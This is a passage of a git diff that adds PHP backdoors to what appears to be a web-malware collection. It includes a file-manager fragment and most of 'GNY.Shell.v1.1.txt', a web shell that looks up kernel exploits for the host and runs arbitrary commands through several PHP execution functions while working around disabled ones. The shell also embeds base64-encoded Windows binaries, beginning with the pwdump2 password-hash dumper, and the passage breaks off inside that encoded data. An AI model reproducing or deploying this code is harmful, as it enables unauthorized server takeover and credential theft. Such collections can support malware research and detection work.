00100) ? "x" : "-"; + $perms.=($mode & 00040) ? "r" : "-"; + $perms.=($mode & 00020) ? "w" : "-"; + $perms.=($mode & 00010) ? "x" : "-"; + $perms.=($mode & 00004) ? "r" : "-"; + $perms.=($mode & 00002) ? "w" : "-"; + $perms.=($mode & 00001) ? "x" : "-"; + $perms.="(".$mode.")"; + return $perms; +} +function open_file($fil, $m, $d) //������� ���� +{ + if (!($fp=fopen($fil,$m))) { + $res="Error opening file!\n"; + }else{ + ob_start(); + readfile($fil); + $res=ob_get_contents(); + ob_end_clean(); + if (!(fclose($fp))){ + $res="ERROR CLOSE"; + } + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b> ".$fil." </b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo $res; + echo " \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/GNY.Shell.v1.1.txt b/web-malware-collection-master/Backdoors/PHP/GNY.Shell.v1.1.txt new file mode 100755 index 0000000..5393ba1 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/GNY.Shell.v1.1.txt @@ -0,0 +1,6944 @@ +<?php + +//exploit search +$Lversion = php_uname(r); +$OSV = php_uname(s); +if(eregi('Linux',$OSV)) +{ +$Lversion=substr($Lversion,0,6); +$millink="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description= "; +$stormlink="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion; +}else{ +$Lversion=substr($Lversion,0,3); +$millink="http://www.exploit-db.com/search/"; +$stormlink="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV.'+'.$Lversion; +} +//End of milw0rm search + + +//w4ck1ng Shell +if (!function_exists('myshellexec')) +{ +if(is_callable('popen')){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1",'r'))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ''; + if (!empty($cmd)) + { + if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable('system') and !in_array('system',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable('passthru') and !in_array('passthru',$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,'r'))) + { + $result = ''; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + +// all the base64-encoded crap comes next. they include programs and exploits, to better your hacking experience ;) + +$pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v +ZGUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lWbkOqRW4fiVZuGolX +biGJVm7lqVxuG4lWbvKWXG4qiVZuUmljaBqJVm4AAAAAAAAAAFBFAABMAQMA7bzbOAAAAAAAAAAA +4AAPAQsBBgAAUAAAAEAAAAAAAABHHAAAABAAAABgAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAA +AAAAAKAAAAAQAAAAAAAAAwAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAyGQAADwA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +LnRleHQAAAAESAAAABAAAABQAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAEAoAAABgAAAA +EAAAAGAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAABghAAAAcAAAABAAAABwAAAAAAAAAAAAAAAA +AABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIPsDFNVVlcz +7Wh4cEAAiWwkFP8VEGBAAIvYO911Cl9eXTPAW4PEDMOLNVRgQABoXHBAAFP/1jvFo4R9QAB1Cl9e +XTPAW4PEDMNoRHBAAFP/1jvFo4h9QAB1Cl9eXTPAW4PEDMO/0AcAAFdV6H8GAACL8IPECDv1dCyN +RCQQUFdWagX/FYR9QAA9BAAAwHUggcfQBwAAV1boUwYAAIvwg8QIhfZ11F9eXTPAW4PEDMOL/mbH +RCQUEgBmx0QkFhQAx0QkGDBwQACLRzyFwHQVjU84agGNVCQYUVL/FYh9QACFwHQRiwczyYXAD5TB +A/iFyXTV6w6LTCQgi0dEvQEAAACJAVbouAUAAIPEBFP/FXRgQABfi8VeXVuDxAzDkJCQkItEJARQ +aIBwQADo4gcAAIPECGoB6AMHAACQkJCQkJCQUYtEJAhTVoP4AlfHRCQMAAAAAHUci3QkGItGBFDo +VgkAAIPEBIlEJAyFwHU9iw7rMIP4AXUljVQkDFLogP7//4PEBIXAdSNohHFAAOiABwAAg8QEagHo +oQYAAItEJBiLCFHoef///4PEBOjxAAAAhcB0EmhMcUAAaKBzQADogAcAAIPECItUJAxSagBo/w8f +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 